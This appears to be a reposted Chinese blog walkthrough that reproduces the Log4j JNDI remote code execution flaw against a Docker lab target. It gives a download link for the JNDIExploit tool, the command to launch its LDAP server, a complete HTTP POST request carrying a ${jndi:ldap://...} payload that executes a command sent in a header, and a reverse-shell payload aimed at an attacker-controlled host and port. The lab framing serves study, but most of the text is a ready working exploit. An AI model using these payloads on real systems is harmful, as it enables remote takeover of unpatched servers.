0x01-前言
昨晚爆出的log4j rce 是通過lookup觸發的漏洞,但jdk1.8.191以上默認不支持ldap協議,對于高版本jdk,則需要一定的依賴,不過為了給大家最簡單的說明,我這里還是用jdk1.8.144的版本來運行,
0x02-靶場搭建
docker 搭建方式
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh
0x03-復現細節
我們知道,該漏洞的利用是讓受害者服務器去加載我們構建的惡意類,所以我們需要搭建rmi 服務或者 ldap服務
由于ldap 支持的JDK版本會比rmi 多有點,所以現在普遍利用ldap 服務去搭載惡意類

工具下載:https://www.o2oxy.cn/wp-content/uploads/2021/12/JNDIExploit-1.2-SNAPSHOT.jar_CZzzih.zip
1、下載完攻擊解壓,會重新一個JNDIExploit-1.2-SNAPSHOT.jar 檔案和一個lib檔案

2、解壓后
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1 -p 8088 -l 9899
命令詳解
-i 自己vps 上的ip
-p http 服務的埠
-l ldap 服務埠
3、運行后
訪問自己搭建的靶場,
http://...:8080/webstudy/hello-fengxuan

并改用post 請求方式,傳參為c

4、然后構建poc
POST /webstudy/hello-fengxuan HTTP/1.1
Host: 127.0.0.1:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
cmd:whoami 要執行的命令
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
c=${jndi:ldap://VPS的IP:ldap的服務埠(上面設定為9899)/Basic/TomcatEcho}
5、結果
發送時,搭建的ldap服務器會回顯你發送的payload

并能看到執行了對應的命令

6、然后該JNDIExploit-1.2-SNAPSHOT.jar 工具是可以進行反彈nc的 ,但這個靶場環境反彈后卻執行不了命令,
poc
${jndi:ldap://VPS的ip:ldap的埠/Basic/ReverseShell/要反彈到主機的ip/要反彈到主機的埠}


參考文章
https://mp.weixin.qq.com/s/4cvooT4tfQhjL7t4GFzYFQ
https://www.o2oxy.cn/3893.html
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/381932.html
標籤:其他
上一篇:Log4jShell漏洞修復分析
